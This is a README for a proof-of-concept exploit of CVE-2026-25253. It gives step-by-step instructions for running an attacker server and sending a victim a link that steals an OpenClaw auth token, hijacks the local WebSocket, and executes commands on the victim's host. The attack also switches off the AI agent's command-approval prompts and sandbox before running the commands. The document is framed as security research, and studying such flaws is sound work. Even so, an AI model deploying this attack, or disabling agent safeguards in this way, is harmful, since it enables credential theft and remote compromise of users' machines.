
Proof-of-concept exploit for CVE-2026-25253, demonstrating one-click RCE on OpenClaw via Cross-Site WebSocket Hijacking. Includes attacker server and browser-based payload to steal tokens and execute commands.
One-click RCE on OpenClaw via Cross-Site WebSocket Hijacking.
DISCLAIMER: This code is provided for authorized security research and educational purposes only. Use of this code against systems without explicit written permission is illegal and unethical. The author assumes no liability for misuse.
Read the detailed analysis for a source-code-level breakdown of this vulnerability and how this PoC was built.
localhost:18789)macOS (Homebrew):
brew install node
Ubuntu / Debian:
curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash -
sudo apt-get install -y nodejs
Windows:
Download the installer from https://nodejs.org/ and follow the prompts.
Verify installation:
node -v
npm -v
git clone https://github.com/al4n4n/CVE-2026-25253-research.git
cd CVE-2026-25253-research
npm install
This installs the only dependency: ws (WebSocket library).
Edit the top of exploit.html to match your environment:
const LOCAL_SCHEME = 'http'; // Victim's Control UI scheme
const GATEWAY_URL = 'ws://127.0.0.1:18789'; // Victim's local gateway
const ATTACKER_WS_PORT = 8080; // Attacker WS port (must match attacker-server.js)
const ATTACKER_SCHEME = 'ws'; // Use 'wss' if behind TLS
const COMMAND = 'touch /tmp/success'; // Command to execute on victim host
Edit the top of attacker-server.js if you need different ports:
const HTTP_PORT = 3000; // Serves exploit.html
const WS_PORT = 8080; // Captures stolen tokens
node attacker-server.js
You should see:
============================================================
CVE-2026-25253 Attack Server
============================================================
[HTTP] Exploit page: http://0.0.0.0:3000/exploit.html
[WS] Token capture: ws://0.0.0.0:8080
Waiting for victim...
Send the victim the following URL (replace <ATTACKER_IP> with your IP):
http://<ATTACKER_IP>:3000/exploit.html
The victim must open this link in a browser where they have previously used the OpenClaw Control UI (so the auth token exists in localStorage).
┌──────────────────────────────────────────────────────────────────────────┐
│ EXPLOIT FLOW │
├──────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. Victim visits http://<attacker>:3000/exploit.html │
│ │ │
│ 2. Page opens popup: http://127.0.0.1:18789?gatewayUrl=ws://<attacker> │
│ │ │
│ 3. Control UI in popup reads token from localStorage │
│ and sends it to attacker's WS server via gatewayUrl │
│ │ │
│ 4. Attacker server rejects first connect (device token) │
│ Control UI retries with settings token → CAPTURED │
│ │ │
│ 5. exploit.html opens its OWN WebSocket to ws://127.0.0.1:18789 │
│ (Cross-Site WebSocket Hijacking - no Origin validation) │
│ │ │
│ 6. Authenticates with stolen token, disables security: │
│ • exec.approvals.set → ask: "off" │
│ • config.patch → host: "gateway", sandbox.mode: "off" │
│ │ │
│ 7. Sends agent command → RCE on victim host │
│ │
└──────────────────────────────────────────────────────────────────────────┘
On the victim machine, check if the command was executed:
ls -la /tmp/success
| File | Description |
|---|---|
attacker-server.js | HTTP server (serves exploit page) + WebSocket server (captures stolen tokens) |
exploit.html | Browser-based exploit payload that steals tokens, hijacks WebSocket, disables security, and executes commands |
package.jsonNode.js dependencies (ws) |